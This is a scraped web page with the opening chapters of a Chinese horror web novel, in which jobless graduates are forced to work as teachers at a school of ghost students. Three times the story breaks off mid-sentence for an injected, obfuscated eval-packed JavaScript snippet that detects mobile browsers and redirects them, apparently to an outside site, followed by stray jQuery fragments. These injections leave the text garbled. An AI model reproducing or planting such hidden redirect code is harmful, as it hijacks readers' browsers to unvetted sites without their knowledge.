《我靠内卷让鬼怪老板们豪掷千金[无限]》 1. 毕业季 初春的天气带着一些还未褪去的丝丝冷意，刚从外面回来的纪南亦把手中的简历泄气般地丢在桌子上，搓了搓已经有些发凉的手。 宿舍里其他三个人也是一副刚到宿舍的模样，一边脱着外套一边略带麻木地问出了之前问过无数遍的问题：“怎么样，有没有希望？” 纪南亦耸耸肩，坦然又无奈：“没有，要汉语言专业的工作不多，学校招聘会上那三个企业也只是过来走个过场，根本没想招人，我甚至看见有一家刚结束就把收到的简历都扔了。” “什么？连南亦这种学霸都没人要，我这种的岂不是真的要毕业即失业了？”床位靠近纪南亦的马尾少女有些急躁的揉了揉自己桌上剩余的简历，看着刚刚顺路从食堂打回来的饭，连打开品尝一番的心情都没了。 不过好在一只手从她身后及时地伸了出来，把险些惨遭蹂躏的简历从马尾少女的魔爪中拯救了出来，“我说季毛毛你就算发疯能不能别祸害简历呀，真弄坏了打印不需要钱吗？” 看到被钱纹拿走的简历，季毛毛努了努嘴，干嚎一声表示自己内心的哀怨，“可是我就是很烦呀！找不到工作我就只能留宿街头，不像你小钱总还能回家继承家业……” 钱纹直接一个白眼飞了过去：“老头子的家业谁爱要谁要，我有我的梦想。” 季毛毛更加幽怨：“真羡慕有钱人烦恼，我这种普通人的梦想在生存面前都不值一提。” “好了好了。”纪南亦晃了晃手机上班级群的页面，“学校下午不是在操场还组织了一场招聘会吗，听学姐说这里面有很多保底的工作单位，毕竟学校也要为就业率着想。” “南亦你们下午可以帮我留意一下有什么好的企业吗？我正好有个面试，没时间过去了。” 一旁一直没说话的短发眼镜女生终于扒完了手中的饭，匆忙从书架上拿出之前打印好的面试经验准备来个考前抱佛脚。 “什么！小羽你找到工作啦？”刚吞下一口米饭的季毛毛一个箭步冲到了过去，圆圆的眼睛中满是惊喜。 这可是她们宿舍里第一次有人收到通知，虽然结果未知，但怎么也算是进了一步。 关羽羽一边默背手中的资料一边回答道：“只是面试而已，也可能是去给hr刷业绩的。” “那也证明……唔！” “毛毛，先让小羽好好准备吧，有什么事情等晚上回来再说。”纪南亦及时出现把季毛毛拖回了她的座位让她继续吃饭，并鼓气般地拍了拍关羽羽的肩膀，“放心吧，下午有什么消息我都给你记下来。” 等到几个人都吃完饭，时间已经来到了一点，距离宣讲会开始还有半个小时。来不及休息，纪南亦三人便带着简历起身前往操场。 由于是全校范围内的宣讲，等她们到达的时候操场上时已经挤满了学生。随着时间来到13:30，人群开始流动起来，所有人都是第一时间往自己感兴趣的公司场地走去。 可下一秒，原本明媚的天空瞬间暗了下来，纪南亦抬头望去，发现远处天空中的云朵已经变成了不正常的灰色，并且正以缓慢地速度向这边扩散。 现在除了操场正上方的区域，外面其他的区域已经完全被灰色乌云的笼罩了。 “天怎么黑了？是我的错觉吗，突然觉得好冷啊……”钱纹裹了裹身上的大衣外套。刚刚出门她还在想这个季节大衣是不是有点太厚了，结果现在风一吹反而还有点冷。 【你们是否还在为了找不到工作而苦恼不已，是否已经已经厌倦了这个内卷的世界。】 突如其来的电子音让原本因天气变化而嘈杂的人群瞬间鸦雀无声，环顾四周无果后众人默契的看向还在持续变暗的天空。 【资本家的压榨不应该成为相互内卷的理由，所有努力的孩子都应该拥有工作。】 【欢迎来到美丽的乐园，在这里你我皆是打工人。】 【生命不休，打工不止！】 “是我熬夜熬出幻觉了吗，你们听到有人在说话吗？”季毛毛猛猛搓了搓脸，企图将眼前发生的超自然事件归结为是自己的幻听幻视。 可周围人的反应却无情地打破了她的幻想。 纪南亦拍了拍她的后背，声音异常冷静：“别怕，先观察一下情况。” 跟还在因为刚刚的诡异声音而看向天空的众人不同，纪南亦早已注意到周围摊位正在发生翻天覆地的变化。 她低声道：“你们看那些公司的摊位。” 季毛毛和钱纹闻声望去，直接被看见的景象吓得倒吸一口凉气，季毛毛更是一个没忍住尖叫了出来。 只见原本站在遮阳棚下各个公司的招聘人员不知道何时已经变成了灰白色的石膏人，他们的手臂僵硬地左右摇摆着做出打招呼的姿势，配上僵化在脸上的假笑，整个场面显得格外惊悚。 被尖叫声一惊，周围的其他人也陆续发现了这诡异的一幕，原本还因为没反应过来发生了什么事情而静默的人群一时间骚动了起来。 像是终于等到了他们发现一样，尖锐的电子音再次响起—— 【黑心的公司理应被淘汰，虚伪的hr背叛了打工人群体，违反乐园规则第三条原则：无论何时何地，打工人都应help打工人。违者即刻抹杀。】 【但乐园永远站在打工人身后，即使是不乖的打工人，乐园也是很仁慈的。】 【经判定，处罚将减轻至石刑，服刑时间为72小时。】 不知道是不是错觉，纪南亦总觉得这个电子音中带有一丝幸灾乐祸的意味。 【接下来，让我们开启幸福的打工生涯吧！】 【职业身份和守则已经发到了各位的手机中，希望各位打工人们准时上班，享受工作。】 【祝各位，开工大吉——！】 话音刚落，操场上同时响起了各种各样的手机提示音，除却少部分还没有反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617717|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来到底发生了什么事的人，大部分人的脸色都十分难看。 虽然这个不知名的声音口口声声都是为他们着想的话术，但这件事太过于诡异，顷刻之间就把那些活生生的人变成了死物，无论谁来看都会心头一凉。 他们只不过是个想来宣讲会找工作的大学生，怎么会遇到这种事情？ “南亦，小钱总……我害怕……”季毛毛拿着手机的手不受控制的颤抖着，要不是宿舍一起看过很多恐怖片，她现在真的很想把手机直接扔出去。 钱纹也是有些打怵：“这东西我们必须要看吗？” 纪南亦点点头，并指了指远处。 由于学校的操场位于校区的西南方向，所以可以很轻松地隔着围栏看到校外的情况。她们所在的是学校这些年在郊区建造的新校区，校外一片荒地，平常想买个东西都没地方去。 可现在，不知道在什么时候，外面竟然林立了许多高楼。 像是各个城市新建设的高新城区一样，层层栋栋都是给牛马社畜上班的写字楼。 虽然不知道这个电子音到底是什么，但这些超越常理的变化无一不显示着它的力量之强大。 现在的她们，只能按照对方的规矩办事。 纪南亦打开手机，发现手机上的系统不知何时已经被进行了更改。基本软件都没有太大变化，不过各种APP图标都变成了统一的灰色。 此时，一张塔罗牌浮现在了屏幕中央。 【高中语文老师】 纪南亦的手指摩挲过屏幕，一直平静无波的眼神中增添了几份探究的意味。 她本来以为这种诡异的东西分配会是捉鬼师或者凶宅试睡员这种类型的职业，没想到竟然意外的……正常？ 另一边向来对新事物接受度比较快的钱纹叹了口气，任命般地看向自己的手机，却发现了意外之喜：“太好了，我竟然是高中数学老师！幸好我高中数学学的还行，换成物理化学什么的我这个文科生可就要落泪了。” 钱纹对这个分配很满意，加上跟舍友一样都是老师，在这种未知的环境下，有个伴总归是安心一点的。 见两个人分到了一起，季毛毛的好奇心让她也有点跃跃欲试，但同时也有些犹豫：“我……我还是有点怕，要不南亦你帮我看看吧。” 季毛毛打开锁屏后以迅雷不及掩耳之势闭上了眼睛，然后直接把手机塞给了纪南亦，生怕自己一不小心直接看到里面的内容。 两个舍友都是一样的职业，季毛毛说实话是有点羡慕的，她这辈子从来没有像现在这样如此希望当一名老师。 好在钱纹的嘴快，还不等季毛毛多想，直接说了出来：“毛毛也是老师哎，只不过……” “真的吗真的吗？”刚刚还在许愿的季毛毛见梦想成真立刻凑了上去，却在看清楚上面的内容后瞬间像是被破了一盆凉水一样蔫了下来—— “什么鬼啊？！” 2. 顺德中学 【高中体育老师】 “搞毛啊？”季毛毛简直不敢相信自己的眼睛，“让我一个大学跑个八百米都要五分半的人去当体育老师，想杀我就直说，干嘛要折磨我？” 如果上天要惩罚她，她可以下地狱，但是能不能别让她碰体育啊？ 季毛毛甚至有一瞬间后悔自己刚刚那么期盼分到老师，现在愿望实现了却更烦了。 纪南亦拍了拍她的肩膀，安慰道：“没事的毛毛，教体育而已，不是让你去当运动员，你就让学生跑圈就行。” 说话的同时，纪南亦轻点了一下卡面，卡牌反转后显示出来了职业守则。 【顺德中学教师守则】 【第一，工作时间为上午6:30到12:00，下午14:00到17:30，夜间18:30到21:30，有正课或者自习安排的老师必须全程在教室，其他时间可前往办公室备课休息，请勿迟到早退。 第二，一名优秀的教师重在育人，请时刻关注学生们的身心情况，若学生出现伤害自己或同学的行为，请立刻向教务处上报。 第三，生命可以重来，高考只有一次，学生的成绩是老师能力的体现。请在每次考试中想尽一切办法带领班级同学取得优异成绩，这关系到你们的绩效奖金。 第四，学生们都是未来的花朵，请坚信他们对老师是没有恶意的，哪怕是偶尔的调皮也只是青春期的正常现象，作为老师要积极地引导大家。 第五，家校共同努力才是学生最好的成长环境，请老师保持与家长们的沟通，定期在班级群内发布学生情况，回答家长们的问题，便于家长了解孩子情况。 第六，以上事情如果出现任何不可控变故，请第一时间汇报给教务处，教务处是老师们坚强的后盾，会为老师们解决任何问题。 综上，若有违者，一次警告，二次将被派往校长室进行二次教师培训。】 【顺德中学，优秀教师的摇篮，助力每位老师成为理想的老师。】 跟预计的一样，虽然分到的教授科目不同，但她们要前往的高中都是守则上所写的顺德中学。 而且也正因为教的科目不一样，身为体育老师的季毛毛守则中并没有上面第三条要求。 刚刚还愁眉苦脸的季毛毛心情好了一点，“可能这就是体育老师的好处吧~” 除却这个，三个人要完成的最终任务也略有不同。 【顺德中学工资评定体系 S级教师：所教授班级本科上线率100%，一本上线率90%，211及以上上线率50%，并有至少五名同学考入P大或者T大/首都体育大学。获得奖金二十万元。 A级教师：所教授班级本科上线率70%，一本上线率50%，211及以上上线率30%，并有至少一名同学考入P大或者T大/首都体育大学。获得奖金十万元。 B级教师：所教授班级本科上线率50%，一本上线率30%，211及以上上线率10%。获得奖金五万元。 C级教师：任何老师都不应该以此为目标，学校也不会允许C级教师出现！ 】 看到最后，季毛毛的声音有些发颤：“这个C级教师的结果，是我想的那样吗……” 纪南亦：“差不多，怎么想都不是什么好下场。” 钱纹的关注点倒是在其他位置：“不过这个奖金给的还是蛮多的，至少比我知道的那些普通高中老师都多，还挺好的。” 可能是收到家庭的影响，作为千金大小姐的她向来却对金钱格外敏感，用之前季毛毛的话来说简直就是钻了钱眼的金公鸡。 “别好了，再多钱那也得我们真的能活到那个时候再说啊。”跟看到钱就有了干劲钱纹不同，季毛毛十分悲观。 “这鬼东西连工资评定都有坑，给我一种逃离了无良资本家后被卖给了奴隶主的感觉，生死都由不得自己了。” “啊——！救命啊——！” 仿佛为了印证季毛毛的话，原本熙熙攘攘的人群中突然传来惊叫，待到几人望去，就发现声音传来的地方空中出现了灰色的洞口，强大的吸力让周围的空气都出现了肉眼可见的扭曲。 原本站在那里的人已经被这个洞吸了进去，连尖叫声也伴随着人影的消失而停止。 本就熙熙攘攘的人群在这一变动后像是被点燃的炸药桶，场面乱成一团，更有不少顶不住压力的学生想要直接离开操场。 但跑到门口才发现，操场的铁门不知道什么时候已经被牢牢锁上，铁门外是深灰色的浓雾，距离近的人还能隐约听到雾后面有石头摩擦地面的声音。 操场上，灰色的洞口一个接一个的出现，并把下方的人吸入其中。 纪南亦三人的头顶也开始出现灰色的洞口。 “南亦，怎么办……被吸进去是不是会死啊？”各种超越常理的危险在眼前发生，季毛毛现在就如同惊弓之鸟，已经丧失了大半思考能力。 “别怕。”纪南亦反倒主动伸手去触碰那洞口，“这应该只是送我们去上班的传送口。” 按照纪南亦常玩的恐怖游戏经验来看，像现在这样无差别出现在每个人头顶的灰洞，一般不会是团灭剧本。 毕竟如果只是想弄死他们，按照那个电子石化hr的能力，根本不需要跟他们废话这么多，还给他们搞什么分配职业。 再加上守则的最下边写着“劳务合同一经签订，需即刻入职”，不难猜到这个灰洞的作用。 只不过现在恐怖的事情发生在真实世界中，大多数人被极端情绪笼罩，已经连基本的思考能力难以保持，求生的本能让他们下意识想要逃离任何不正常的地方。 而事实确实如纪南亦所料想的一样，等到再次恢复意识的时候，她已经站在了教室门口。 钱纹和季毛毛两个人不在这里，看来是传送到她们自己的岗位去了。 感受到空气中传来的凉意，纪南亦打开手机确认了一下时间。 【5月10日早上6:28分】 很好，没让她上来就陷入差点迟到的困境。 不过让她亦奇怪的是，门口墙上的时间表写着6:30到7:50是早读时间段，现在还差两分钟就要上早读，隔着教室门的玻璃看去，教室里却空空如也，连楼道里也是静悄悄的，仿佛整栋楼只有她一个人。 这算什么，学生集体旷课？ 为了谨慎起见，纪南亦决定卡着6:30的点推门进入教室，进去后却听到原本寂静无人的教室里传来了息壤打闹的声音。 “嘘——别说了，班主任来了！小希收收舌头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617718|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七七你也快把脑袋装上！” “咦……我脑子呢？没有脑子的话，我都不知道早读要背什么了……” “你的脑子在诗柔嘴里，快去拿啊，要被她咽下去了！” “我想起来了，我还有一个脑子……那那个就让诗柔吃吧，不吃早饭对胃不好……” “大哥啊，你到底是蠢还是舔啊？拿自己的脑子喂女神是吧？” 听到学生们对话的纪南亦：…… 如果没看错，她班里的这群学生都不是什么正常人。不对，甚至应该都不是人？ 这才对嘛，学校不正常，学生也不正常，这剧本才是恐怖世界的正确打开方式。 不过她还有个疑问——这里除了她们三个人之外其他的老师以及那位规则中写的教务处和校长，也会是鬼吗？ 心里想着问题，纪南亦一边观察着学生一边走上讲台。 不知道是不是她的错觉，见她在讲台上站定后，台下明显在假装早读的学生们纷纷把头埋的更低了。 怂包的样子简直跟她上高中时怕老师点到自己的的样子如出一辙。 按了按微微跳动的眉心，表面上纪南亦还是一副面无表情的严肃模样。 结果也不知道是不是底下学生们误会了什么，他们不仅把头埋的更低，甚至连背诵的声音都更小了。 正当纪南亦还在思考要不要开口说两句的时候，只听啪嗒一声，坐在第一排中间的女生的脑袋一下子落到了地上，滚动了两下后不偏不倚地停到了她的脚下。 纪南亦：？ 这是干什么？送见面礼吗？ “老师对不起！我、我…我马上捡起来！我真的不是故意的！”脚边的人头面露惊恐之色，娃娃脸上的大眼睛蓄满了泪水，又强忍着不敢真的哭出来。 纪南亦没忍住抽了抽嘴角。 看起来无论是人是鬼，怕老师都是刻在骨子里的。 不过有必要怕成这样吗？它们脑袋掉下来都没事，为什么要对她一个普通人怕成这个样子？她长得也不可怕吧？ 见她不说话，女生更是紧张到身体和脑袋都在止不住的颤抖：“老师求求你原谅我吧，我真的不是故意的！或者你打我骂我都行，千万不要把我的头拿给体育老师当足球踢好不好……” 终于明白情况的纪南亦：……这对吗？ 看起来这个学校的师风还是挺狂野的，也难怪这群学生会怕她怕成这个样子。 说到给体育老师当球踢，纪南亦不禁想到了一直以来胆子都比较小的季毛毛。如果真把这个人头送给她，估计季毛毛都能原地吓晕过去。 在女生焦急不安的等待下，理清楚了局势的纪南亦缓缓开口道：“没事，你先把头带……” “南亦是你吗！终于找到你了！” 门外熟悉的声音传来，一个风风火火的黄色身影以极快的速度扑了过来，却在看清楚纪南亦脚下的东西的时候又紧急调转方向蹦出了三米远。 “啊啊啊——！救命啊，死人了啊——！” “啊啊——！体育老师！对不起我真的知道错了，老师原谅我吧！” 一人一鬼的尖叫声同时响起，都用尽了浑身解数企图远离对方，却在不小心的对视后都被对方吓得更厉害，十分默契地再度嚎了出来…… 3. 危险早读 纪南亦从地上捡起了企图滚走的人头，顺便贴心的拍了拍蹭在上面的灰尘，在全体同学惊悚又恐惧的目光中走到了女生的身体面前。 “老师求你……” 娃娃脸人头的话还没说完，就被跟女生的脖子重新接到了一起。 纪南亦左右检查了一下，对自己的杰作十分满意的点了点头：“弄好了，下次注意别掉地上了，弄脏了这么漂亮的脸就不好看了。” 娃娃脸女生愣愣地眨了眨眼，原本一直叽叽喳喳的嘴巴在这一刻也哑了声音。 这是什么情况？班主任真的原谅她了？为什么还这么温柔的帮她把脑袋装了回来。 上次班主任露出这样的笑容还是……还是骗小希说帮他收舌头，最后却用他的舌头打了个蝴蝶结，还不让小希擅自解开的虐鬼行为。 所以这次班主任表面上放过她，是不是准备事后再整她一波大的？ 想明白的娃娃脸女生越来越害怕，本就苍白的脸上更是完全失去了血色，以至于最后看向纪南亦的眼神中惊恐比之前还要多。 不知道女生在想什么的纪南亦：？ 难道她还不够温柔吗？ 另一边的季毛毛缩在教室门口，一脸警惕的看着包括纪南亦在内的所有人。 此时纪南亦正像一名真正的老师一样在安排学生早读，仿佛完全看不到班里学生的外表和行为有多么诡异。 季毛毛刚刚还沉浸在找到舍友的喜悦中，现在却在目睹纪南亦一脸淡定地把人头捡起来后被硬生生破了一盆凉水。 凉凉的，很不安心。 她一时间都分不清到底教室里这群鬼学生和行为诡异的纪南亦哪个更吓人。 而这种恐惧的情绪，在纪南亦叫着她的名字走过来的时候直线飙到了顶峰。 更命苦的是，她倒是转头跑路，可她现在的腿已经软到动不了了，她只能揪着你自己的裤子暗骂：死腿，快跑啊！ “你们两个在干什么？” 走廊突然传来的声音打断了两人的动作，季毛毛从来没有像现在一样觉得钱纹的声音如此悦耳动听，此时的钱纹在她心里简直就是踩着七彩祥云来就她的盖世英雄。 钱纹走到了两人中间，很巧妙的用身体遮住了纪南亦看向季毛毛的视线，大有一副保护的架势。 “小钱总，南亦她好不对劲……”季毛毛也顺势往钱纹背后躲了躲，探出头来目光复杂地打量纪南亦。 钱纹点点头表示自己知道了，转向纪南亦开口询问道：“南亦，你怎么说？” 纪南亦耸耸肩，脸上始终挂着淡淡的笑意，完全看不出任何被季毛毛误会后的急躁感：“没什么，我只是按照规则办事而已。” “毕竟规则里也说了，要时刻关心学生的身心健康，如果身为老师都害怕他们，那学生们该多伤心啊。” 从刚刚纪南亦就在观察下面早读的学生，虽然里面时不时会有人用书本遮掩着偷偷看向她们，但眼神中无一例外都是些微的好奇或疑惑。 可见她们三人在这里具体的对话应该是被什么力量屏蔽了，亦或者是在学生眼里替换成了另一幅场景。 好在无论是什么，都方便了她们的行动。 “可是……”季毛毛说到底刚刚也只是有一点疑惑而已，再加上跟往常一样不急不慢又温和的预期，在她冷静了一下后倒是对这个的解释信了大半。 毕竟之前在宿舍无论是玩恐怖游戏还是去密室逃脱，纪南亦永远是带着最淡定的表情做着最惊悚的事情的人。 不过心里少许的犹豫，毕竟之前密室什么的都是假的，现在被弄到这个满是鬼学生的学校可是真的。同样是女大学生，她现在都快吓死了，南亦的心脏就这么大？这未免也太神了吧。 钱纹倒是一如既往地很快地接受了：“这样啊，那看来是毛毛误会你了，还是南亦你记得清楚。” “没事。” 纪南亦并没有打算将这个话题继续下去，而是悠悠然地坐在了讲桌上的教师椅后开始用眼睛巡视起台下的早读情况，颇有一副负责任的优秀老师的意味。 钱纹和季毛毛相互对视一眼，都从对方眼中看到了迷茫。 那她们现在干什么？又没椅子又没任务的，就在这里干站着吗？ 终于，在纪南亦第三次用粉笔头精准地攻击到倒数第二排打瞌睡的青脸男生后，钱纹说话了：“那个，南亦啊……要不我们去办公室坐坐吧，在这里我们也不知道干什么呀。” “不去。”纪南亦拒绝的很干脆，甚至目光都没从学生身上移开过，“要去你自己去吧，反正早读也没你这个数学老师什么事情。” “那毛毛我们走吧，南亦她还要照顾班里。”面对纪南亦生冷的态度，钱纹却没计较太多，而是转头冲着季毛毛比了个跑路的手势。 季毛毛压了压自己狂跳的眼皮，开口的声音有些缓慢：“南亦，你一个人可以吗，我们先走……” “不行，毛毛需要留下。” 纪南亦难得地打断了季毛毛的话，明明是跟刚刚同样的声调，却让季毛毛听出了一种温柔的坚定。 钱纹不解：“为什么，毛毛不是体育老师吗？她留下来也没用呀。” 纪南亦却意味深长地摇了摇头：“非也非也，体育老师可是班主任的得力干将。” 她看了一眼第一排刚刚掉下脑袋的娃娃脸女生，后者在对上她的目光后慌乱地看向了其他地方。 “刚刚这个女生说我为了惩罚她，把她的脑袋交给了体育老师当足球踢。” 看了眼季毛毛越来越难看的脸色，纪南亦继续道，“所以啊，如果班主任是判官，那体育老师就是行刑人员。” “你把我的小刑官弄走了，这群学生不听话了该怎么办？” 钱纹抽了抽嘴角，刚想回头问是不是真的有这回事，转眼就看到了季毛毛恍然大悟的样子。 “哦！怪不得这个女生见了我跟见了鬼一样，我还想呢，明明我才是真的见了鬼好不好。” 不过即便如此，季毛毛也并没有觉得这样以后自己就可以在这群鬼学生面前高枕无忧了，万一有什么青春期的叛逆小鬼不听话，那她不炸了吗？ 最重要的是，她依旧很害怕呀呜呜呜。 她就知道，之前那个电子音都那么诡异了，怎么可能真的给她们安排正常又高薪的工作。 可钱纹明显不想放弃：“南亦啊，我觉得这里有你一个人就够了，毛毛本来就怕这种东西，你让她留在这里不是吓她吗？” “再说了，我们还要备课不是，在这里就耽误工作了。” “小钱总算了吧。”这次开口的是季毛毛，“我想了想还是我们都在这里比较好，毕竟我们刚来，这个教室虽然吓人，但目前来看还是比较安全的。” “你们……哎，算了算了，你们都这么说，那我也在这里好了。” 见季毛毛都下了决定，钱纹最终还是选择了偃旗息鼓，毕竟她也不想一个人去办公室。 三人的交谈刚结束一会，就看见靠窗位置坐着的男生举起了手。 跟教室里大部分的鬼学生不同，这个男生单从外表看去跟正常人类没有任何区别，以至于他在这个红橙黄绿的教室里显得十分格格不入。 刚进入教室的时候纪南亦便注意到他了，发现对方一直是一副乖乖学生的做派。 无论是开始前排女生掉脑袋，还是后面她们宿舍三人在前面对峙，这男生都低头专注地看着手中的课本，仿佛外界的一切都扰不了他的清净。 现在却突然举手，是要干什么？ 即便是季毛毛和钱纹，也是如临大敌般盯着那截仿佛随意举起的手臂，紧张的气氛逐渐蔓延。 毕竟早读开始也有一会了，她们却一直没遭遇什么实质性的危险，男生的外貌又格外特殊，所以本着事出反常必有妖的态度，怎么想也不是什么好事。 这会是什么坑呢？ 示意两人在原地等候后，作为班主任兼早读老师，纪南亦率先走了过去问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617719|172218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“请问有什么事吗？” “纪老师，我看数学老师也在这里，想到昨天作业有个不会的地方，我可以请教一下吗？”男生的眼睛十分清澈，带着些许少年时期特有的清澈与真诚。 纪南亦的嘴角没忍住抽了抽。 怎么会有人敢在语文早读问数学问题？还看起来这么理直气壮。 像是看出了她的想法，男生把语文书往前推了推：“老师，今天和后天早读的语文任务我都完成了，您可以随便检查。” “不用太久，五分钟就好，如果弄不懂这个问题，我真的会很难受很焦虑的。” 男生说话的时候音调音调全程没有任何起伏，仿佛只是在陈述一件与自己无关的客观事实一样。 当然，这是在完全没听到他说话内容的前提下。 纪南亦并没有第一时间做出回答，而是一直盯着眼前的男生，两人的视线就这么在空中对峙着。 不远处的钱纹和季毛毛自然也是听到了男生的诉求，见跟自己相关，钱纹犹豫了一下后还是选择了走了过去。 用询问的目光看向纪南亦：“那我现在他看看？” “你不怕这是什么违规陷阱？” 钱纹的声音也听起来没有底气，半是回答半是自我安慰道：“但规矩里不是说了吗，要时刻关注学生的身心状况，他又说如果弄不懂会很焦虑的，我怕如果拒绝他，他会情绪失控的。” 纪南亦点点头，伸手示意了一下后便回到了讲台。 并非她跟钱纹的想法一样，毕竟她可没忘记，除了时刻关心学生的身心状况外，守则里还有另一条。 【学生们都是未来的花朵，请坚信他们对老师是没有恶意的，哪怕是偶尔的调皮也只是青春期的正常现象，作为老师要积极地引导大家。】 起初她就有些怀疑，这句话言外之意是说学生会做出一些从老师视角看来是“恶意”的行为，否则也没必要强调他们这些行为是青春期的调皮现象。 眼前这个狡猾的男生，应该就是抓住了钱纹的这种心理，才在最后故意那样说，让自己也没有拒绝的理由。 毕竟，真拒绝了后对方硬说自己焦虑过度，那就更不好了。 那现在的问题就是，这个“恶意”行为，到底是讲题本身呢？还是讲题后续引发的结果呢？ 正在思考的纪南亦注意到了最开始掉脑袋的娃娃脸女生，刚刚扫了一下讲台上贴的座位表，发现女生的名字叫七七。 此时七七正用课本挡着半边脸，只露个眼睛怯生生地看着她，微微皱起的眉头仿佛有什么心事一样。 “怎么了？”纪南亦率先问道。 七七见自己被发现，先是一惊，下意识埋了了头，后面又像是决定了什么一样，猛地抬起来，眨巴眨巴眼睛看向纪南亦。 由于动作太大，导致刚刚安装上的脑袋甚至都差点再掉下来。 稳了稳自己的脑袋后，她小声说道：“老师你是不是忘了，每天早上7:30的时候都有政教处过来检查呀，上早读学其他科目是违规的。” “被抓到的话，你和数学老师都是要挨罚的。” 纪南亦看着墙上已经指向29的分针，心下明白了男生突然让她们讲题的原因。 不过她还是有些好奇：“那他呢？” 七七摇摇头：“学生当然不会挨罚呀，还会被政教处奖励呢，毕竟这是勤奋好学的证明。惩罚老师是因为老师监管不力，老师你忘了吗？” 纪南亦：老师才是这个学校处于食物链最低端的吧…… 这样每个学生都会知道的东西竟然没有写在学校守则里，也不知道是故意有所隐瞒，还是只开局只会告诉她们一部分规则，后续再由她们自己发现。 说话的功夫，时间已经来到了7:30。 楼道里按时响起了高跟鞋踩在瓷砖地板的声音。 嗒—— 嗒—— 嗒—— 声音越来越清晰，政教处正在逼近。 4. 那不是钱纹 高跟鞋的声音不重，却在纷乱的早读声中存在感十足。 一下又一下富有节奏的脚步声像是打在心脏上的鼓点，逼近的倒计时让人不由得屏住了呼吸。 “教务处检查。” 竟然又是熟悉的声音！ 这次不光是季毛毛，就连纪南亦都有些惊讶地看向了门口。 只见门口为首的女人短发微卷，发尾带着少许因为营养不良导致的泛黄，无框眼镜遮住了带着少许迷茫的浅褐色眼眸。 谁都没想到，在教务处进来的三个人中，为首的竟然是她们去面试的舍友关羽羽！ 早在最开始电子音在操场出现的时候，纪南亦考虑过正在外面面试的关羽羽是否也身处险境。 如果被拉进来的标准是没有找到工作，那恐怕关羽羽也不能幸免。 不过当时情况危机，她能做的也只是帮舍友祈祷一下，剩下的就看天命了。 现在看来，她的祈祷并没有什么用。 不幸中的万幸是关羽羽跟她们也分配到了一起，甚至被分配到了教务处那边。 就现在掌握的情况来看，教务处在学校的地位比她们普通老师要高，即使没法随意跟她们联系，处境也应该会好一些。 纵然心中思绪纷飞，几人心照不宣地并没有表现出来。 关羽羽不动声色的推了推眼镜，巧妙地没有让两边的同事发现自己刚刚瞬间的失态。 “高三4班违反学校规定，在语文早读期间私自教授学生数学课程。”关羽羽左边顶着啤酒肚的眼镜男大声呵斥道。 “按照教务处规范第二条，此为初犯，处以班主任纪南亦、数学老师钱纹以禁闭2小时处罚，以作警告。” “立即执行。” 说完，男人看向了关羽羽，像是在等待她的下一步指示：“组长……” 关羽羽刻意地控制了一下自己的情绪，装出一副冷酷无情的模样：“去吧。” 同时，她的目光还是有意无意地扫过纪南亦，企图从得到一些自己想要的答案。 纪南亦自然感受到了她的目光，但也只是在两人的目光交汇后，不动声色地摇了摇头，示意关羽羽先不要轻举妄动。 虽然宿舍是四人寝，但往常行动都是两两一起的。 纪南亦和关羽羽都是比较内敛聪明的人，长久地相处除了让她们彼此有了绝对的信任外，一个眼神就能明白对方的大致用意。 另一边两旁得到准许的西装男人分别走到了纪南亦和钱纹身边，抓住她们的胳膊径直向外走去。 见两个舍友被抓，顾不上违反规则的季毛毛急的想冲上去拉住男人，嘴里第一个音节刚要出口，就被纪南亦打断了。 “别怕，毛毛。”跟因挣扎被牢牢禁锢的钱纹不同，纪南亦则是自己听话地跟着男人走出去，“就两个小时，你第一节没有课，先去办公室等着我们就行，不会有危险的。” “可是……”又要变成孤身一人的季毛毛控制不住内心重新活跃起来的焦虑情绪。 她只是个在现实中摆烂的咸鱼女大学生，做个普通的社会调查都没有独当一面的能力，更别说突然被拉入这种满是鬼怪的恐怖世界打工了。 要不是从进入之前纪南亦就一直在安抚自己，她估计早已因为情绪失控导致阵脚大乱了。 她对纪南亦早就在不知不觉中建立了一种依赖的情绪，结果现在她依赖的舍友们开局就要被抓进小黑屋，她的紧张程度甚至不亚于要被抓进去的当事人。 季毛毛甚至希望被抓进去的是自己。 毕竟如果是她被抓紧去，她相信按照纪南亦的水平，就算不能找到拯救自己的办法，也能在外面收集到一些信息。 可留她自己在外面的话，她真的不知道该怎么办！ 季毛毛看了一眼穿着修身西装，踩着高跟鞋在门口“监工”的关羽羽，心中不由得升起了一丝期冀。 刚刚听那个大肚男叫小羽组长，那组长的话，是不是可以有点特权…… 可当她看向关羽羽时，却发现对方像是早就料到了她的行动一样，早就别开了目光，完全不给她使眼色的机会。 “相信我。” 